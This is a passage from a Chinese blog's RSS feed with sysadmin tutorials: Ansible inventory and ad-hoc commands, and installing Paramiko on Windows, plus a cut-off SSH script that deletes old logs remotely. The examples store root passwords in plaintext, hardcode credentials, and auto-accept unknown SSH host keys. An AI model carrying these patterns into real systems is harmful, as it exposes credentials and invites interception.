&lt;p&gt;安装完成后,配置集群&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cat /etc/ansible/hosts
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;[servergroup1]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;192.168.1.1 ansible_ssh_user=root ansible_ssh_pass=root
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;[servergroup2]
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;192.168.2.1 ansible_ssh_user=root ansible_ssh_pass=root
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;后面的账号和密码,如果你使用ssh key登陆的话就不需要了.但是如果有很多机器,需要加到known_hosts就太多了.
这时候可以参考&lt;a href=&#34;https://github.com/linuxyan/linuxyan/blob/master/python/Batch_create_pub_key/Batch_key.py&#34;&gt;Batch_key&lt;/a&gt;
这个脚本.稍微修改一下,就能批量生成了&lt;/p&gt;
&lt;p&gt;然后就是执行命令了&lt;/p&gt;
&lt;p&gt;ansible常见用法为ansible host-pattern -m 模块 -a 命令，host-pattern类似于简化的正则表达式，而模块可以通过ansible-doc -l命令来查询。下面是一些常用模块的使用方法：&lt;/p&gt;
&lt;p&gt;安装软件：&lt;code&gt;ansible servergroup1 -m apt -a &#39;name=gcc state=present&#39; 或者ansible local -m yum -a &amp;quot;name=nmap state=installed&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;执行命令：&lt;code&gt;ansible servergroup1 -m shell -a &#39;uptime&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;拷贝文件：&lt;code&gt;ansible servergroup1 -m copy -a  &#39;src=http://blog.leaver.me/tmp/server dest=/tmp/server&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;文件属性：&lt;code&gt;ansible servergroup1 -m file -a  &#39;dest=/tmp/server mode=755 owner=root group=root&#39;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;还有一个playbook的,看上去就是一个任务定义.我也暂时用不上..&lt;/p&gt;
&lt;p&gt;参考文档:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;http://docs.ansible.com/ansible/intro_installation.html&#34;&gt;http://docs.ansible.com/ansible/intro_installation.html&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;http://lifeonubuntu.com/ubuntu-missing-add-apt-repository-command/&#34;&gt;http://lifeonubuntu.com/ubuntu-missing-add-apt-repository-command/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&#34;http://www.cnblogs.com/feisky/p/4102613.html&#34;&gt;http://www.cnblogs.com/feisky/p/4102613.html&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>links</title>
      <link>http://blog.leaver.me/2016/01/01/links/</link>
      <pubDate>Fri, 01 Jan 2016 15:50:52 +0800</pubDate>
      <guid>http://blog.leaver.me/2016/01/01/links/</guid>
      <description>&lt;p&gt;&lt;a href=&#34;https://www.cppfans.org/&#34;&gt;C++爱好者博客&lt;/a&gt;:&lt;a href=&#34;https://www.cppfans.org/&#34;&gt;https://www.cppfans.org/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://www.kailing.pub&#34;&gt;KL，每天进步一点点&lt;/a&gt;:&lt;a href=&#34;http://www.kailing.pub&#34;&gt;http://www.kailing.pub&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>python3.5 安装 Paramiko</title>
      <link>http://blog.leaver.me/2015/12/28/python3.5-%E5%AE%89%E8%A3%85-paramiko/</link>
      <pubDate>Mon, 28 Dec 2015 19:17:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/12/28/python3.5-%E5%AE%89%E8%A3%85-paramiko/</guid>
      <description>&lt;p&gt;最近由于一些需求,要搞一下python,于是周末搞了搞.要连接服务器,进行一些服务器的操作,于是安装这个Paramiko包,&lt;/p&gt;
&lt;p&gt;直接&lt;code&gt;pip install paramiko&lt;/code&gt; 结果.报错,最关键的一句是:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-gdscript3&#34; data-lang=&#34;gdscript3&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;error&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Unable&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;to&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;find&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;vcvarsall&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bat&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;google一圈.最终找到一种最简单地方法.其他的安装vs.安装MinGW都太复杂了.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;安装PyCrypto 第三方版
因为paramiko依赖PyCrypto,上面那个错就是他报错出来的.安装&lt;a href=&#34;https://github.com/sfbahr/PyCrypto-Wheels&#34;&gt;PyCrypto第三方版&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;pip&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;install&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;--&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;use&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;wheel&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;--&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;no&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;index&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;--&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;find&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;links&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;https&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;c1&#34;&gt;//github.com/sfbahr/PyCrypto-Wheels/raw/master/pycrypto-2.6.1-cp35-none-win_amd64.whl pycrypto&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;安装完成后,再次安装paramiko即可.
2.修改nt.py&lt;/p&gt;
&lt;p&gt;安装完上面的步骤,写一个简单的程序测试下&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-java&#34; data-lang=&#34;java&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-*-&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;coding&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;utf&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-*-&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;usr&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;python&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;paramiko&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nn&#34;&gt;threading&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;def&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;nf&#34;&gt;ssh2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;passwd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;try&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;paramiko&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;SSHClient&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;set_missing_host_key_policy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;paramiko&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;AutoAddPolicy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;connect&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;passwd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;timeout&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;in&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stdin&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stdout&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stderr&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;exec_command&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;m&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;stdout&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;readlines&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;屏幕输出&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;            &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;o&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;in&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;                &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;o&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tOK&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ssh&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;close&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;except&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;        &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tError&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;n&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;%&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;__name__&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;==&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;__main__&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;cmd&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;find&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;home&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;admin&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;logs&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;mtime&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;+&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;log&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&amp;#39;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;exec&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rm&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;rf&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;p&#34;&gt;{}&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;\&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;你要执行的命令列表&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;username&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;admin&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;  &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;用户名&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;passwd&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;password&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;密码&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;threads&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[]&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;   &lt;/span&gt;&lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;多线程&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;w&#34;&gt;    &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ip&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;127.0.0.1&amp;#34;&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
